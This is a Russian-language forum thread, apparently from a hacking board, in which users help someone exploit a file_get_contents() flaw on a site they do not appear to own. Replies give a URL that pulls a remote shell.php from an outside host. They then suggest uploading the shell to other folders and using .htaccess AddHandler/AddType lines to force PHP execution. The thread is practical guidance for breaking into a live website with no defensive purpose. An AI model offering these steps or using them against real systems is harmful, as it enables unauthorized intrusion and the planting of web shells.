На изучаемом сайте найдена уязвимость:

file_get_contents($_POST['n'])

можно ли как-то залить шел или выполнить sql запрос?

Спасибо.

Например вот так:

site/?n=http://exec.site/shell.php

в shell.php

Задил шелл, но тут проблемка. В папке где залит шелл, нельзя выполнять команды php, то есть файлы с расширением php нельзя запустить

php2,php3,php5,phtml,shtml

Не работает, может туда как нибудь .htaccess залить?

ну если там есть .htaccess, то не зальешь, а в другую папку?

Шел то залился, только он не запускуется,ьак как нельзя php файлы запускать. php2, php3 и тог далее тоже не помогает. Как еще можно запустить шелл?

в другую папку пробуй залить шелл

Да в другие папкм также получается. На гугле прочитал, что можно как то через .htaccess дать доступ к php файлам

В Гугле: addhandler htaccess

AddHandler application/x-httpd-php .расширение

AddType application/x-httpd-php .php . расширение